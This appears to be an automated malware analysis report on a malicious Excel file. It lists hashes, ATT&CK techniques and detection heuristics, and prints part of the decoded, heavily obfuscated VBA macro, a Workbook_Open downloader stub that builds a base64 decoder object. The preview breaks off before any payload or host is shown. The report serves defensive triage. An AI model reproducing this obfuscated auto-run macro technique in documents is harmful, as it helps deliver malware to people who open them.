Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d81fe50df71f93a…

MALICIOUS

Office (OLE)

50.5 KB Created: 2018-09-13 08:08:44 Authoring application: Microsoft Excel First seen: 2019-09-30
MD5: 394ad18ca6b72227f4ea77e58cf36eee SHA-1: 55c4879ae2b35a15c05452f07d2fe84dcc6660e0 SHA-256: 1d81fe50df71f93a1fa002bd4cf7d41ce7828441edea18078b1754775fe0c1e4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1047 WMI

The file is a malicious Excel document containing obfuscated VBA macros. The Workbook_Open macro is triggered upon opening, and the presence of CreateObject and split string obfuscation (reassembled token: mSxMl2) indicates an attempt to execute malicious code, likely a downloader. The VBA p-code auto-execution further supports this. No specific family could be identified due to the heavy obfuscation.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11272 bytes
SHA-256: a53497dc6d2fd83ed8a4fd892e785ca614fb0b0a14bf9974dd891e0f6c0c0890
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
IhSl.nskBqvWHe4Hf5SbKKgWv
While 9 = 57
Dim kSsAjUhjPY As Boolean
Wend
Dim TVUlSTJ1q8m3qf7 As Worksheet
While 20 = 35
Dim wXwU_U2SmBX1_F As Boolean
Wend
Dim ZygMdwIipH As Worksheet

While 22 = 33
Dim opwRqlLDv7tNJCb As Boolean
Wend
Dim Bri4bJtPHEnKr As Worksheet
While 20 = 49
Dim wMqnd_oKeTTv As Boolean
Wend
Dim n6SbDRCZTG As Worksheet
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "IhSl"
Dim NK7kNO8GvzRkeBpmt_i_VPswqmEtlMsEpTrqlJ2w1touiLnzlqoinmY8aH3kILdgFL5IS9AiFuHlj7Mc8NG4gIaC5tNbPPmnNGnVQdelp_a2dwVd5Yl4Dj96u1MitgRyGdVbR As String
Dim mHh3Qw3kF_9_djHEY3a4n99Uin35CcCwNQlq1bpHAo_Kyvz8AbdT6sNmHLSl38hmAKzK7aN6KR394wfvx43i9r1dC9gnHCNCEZIm6mAiMgGlzOsUpgx9D8nRSTG83ivGCz2bl2yI3RUZiMmw As String
Dim okGUc1rfeONFyBwtqkSHwzT24ZN2rwlGjTC2vaiK_ThMKBTM_C7xLK6yONaClzxqmFed948NBGHaPFo2__1ozw5WWLkf_eiIfzj_ezN_DqvDCdhHhi7l8H1yJGFuQZNeh84YejVNtujGAzS2n As String
Dim M7h7D_kc2EhjdjiXZoEkJnpmxlbnN6ungniFNnpRB3rRfnOKPr1pDDiiP4GZk7M5S4CzAbIu9whQ5VF As Integer

 Function zFMWy5XnKBYcPhNEt_VOeVNGxMYwDwktWnVjYEOtw1GQUIou(JSB3Ru_X9VDFOJrPK4grm_2BZKGqFvb1zXsUQO_OeVJ9q1_gv2Xx6LOIa9bEmWQK3LOzZV964QLPx2ThJi4MWn)
While 24 = 47
Dim HTaT_qijxb5X As Boolean
Wend
Dim Q1IWtXtbfwo1 As Worksheet
While 7 = 38
Dim ZsGzmCBt5S As Boolean
Wend
Dim lbc_16mIiG As Worksheet

 Dim SNL3sLBRUrGCTIYCnROKaEo3bg7L32z4v67DOTVi1QvmQpViZ4jFXkTMiSYJNyXc1LPWLUvS5pTHRAjvJVv8PseIjsd64
While 10 = 37
Dim B9rQAUt8XkgvbIO As Boolean
Wend
Dim ya8x1VKUgf4PX3f As Worksheet
While 13 = 30
Dim l_s1ZAzyPRCUSuz As Boolean
Wend
Dim RsAcoTqtzmIuE As Worksheet


   Dim ABIeyTWbIjad5_UUb_obp9rCxwhtEAKoRShLftHy3XakC3oWPERfj1jASFqBvmVGXvKjeHyr5ziPfE_4FIc9rnDZsg3YCFCOBSLOq_1GPijsPRcMEv4kHVYtqt18NYoxw
While 20 = 36
Dim T_1r4psQyxkHf As Boolean
Wend
Dim hSzAuo47o1 As Worksheet
While 7 = 43
Dim BLQV9Aw1DrK As Boolean
Wend
Dim ck1IPA3L1e As Worksheet
   
While 8 = 54
Dim wHZ_kW_KFoMxdl As Boolean
Wend
Dim SsOA7gZTjUU As Worksheet
While 22 = 35
Dim Y4el6unJpcMgA As Boolean
Wend
Dim Jb9e_QsnENzft2O As Worksheet
 Set ABIeyTWbIjad5_UUb_obp9rCxwhtEAKoRShLftHy3XakC3oWPERfj1jASFqBvmVGXvKjeHyr5ziPfE_4FIc9rnDZsg3YCFCOBSLOq_1GPijsPRcMEv4kHVYtqt18NYoxw = CreateObject(mHh3Qw3kF_9_djHEY3a4n99Uin35CcCwNQlq1bpHAo_Kyvz8AbdT6sNmHLSl38hmAKzK7aN6KR394wfvx43i9r1dC9gnHCNCEZIm6mAiMgGlzOsUpgx9D8nRSTG83ivGCz2bl2yI3RUZiMmw)
While 4 = 37
Dim S_bg_mJciiJ3h As Boolean
Wend
Dim mwHEKNycg4NRk As Worksheet
While 9 = 57
Dim pRooEJ3Xzk As Boolean
Wend
Dim obW_9Y64WIA As Worksheet
   NK7kNO8GvzRkeBpmt_i_VPswqmEtlMsEpTrqlJ2w1touiLnzlqoinmY8aH3kILdgFL5IS9AiFuHlj7Mc8NG4gIaC5tNbPPmnNGnVQdelp_a2dwVd5Yl4Dj96u1MitgRyGdVbR = Chr(493 - 395) & Chr(298 - 193) & Chr(331 - 221) & Chr(156 - 110) & Chr(247 - 149) & Chr(302 - 205) & Chr(295 - 180) & Chr(354 - 253) & Chr(180 - 126) & Chr(274 - 222)
While 24 = 59
Dim REtSeBuuIM As Boolean
Wend
Dim Nb61x3b__IvK As Worksheet
While 26 = 43
Dim GYr1ydG8T4ao_h5 As Boolean
Wend
Dim un1l_ZvY_ZGJeb4 As Worksheet
  Set SNL3sLBRUrGCTIYCnROKaEo3bg7L32z4v67DOTVi1QvmQpViZ4jFXkTMiSYJNyXc1LPWLUvS5pTHRAjvJVv8PseIjsd64 = ABIeyTWbIjad5_UUb_obp9rCxwhtEAKoRShLftHy3XakC3oWPERfj1jASFqBvmVGXvKjeHyr5ziPfE_4FIc9rnDZsg3YCFCOBSLOq_1GPijsPRcMEv4kHVYtqt18NYoxw.createElement("zJcrdMaqhhFVsg1nrinGqkYO62Hvl")
While 26 = 42
Dim V_ME7SknKPl As Boolean
Wend
Dim J2SAPzN8pT As Worksheet
While 28 = 45
Dim HfquU_rYpR As Boolean
Wend
Dim leZfaZ4kkI9n As Worksheet
  SNL3sLBRUrGCTIYCnROKaEo3bg7L32z4v67DOTVi1QvmQpViZ4jFXkTMiSYJNyXc1LPWLUvS5pTHRAjvJ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.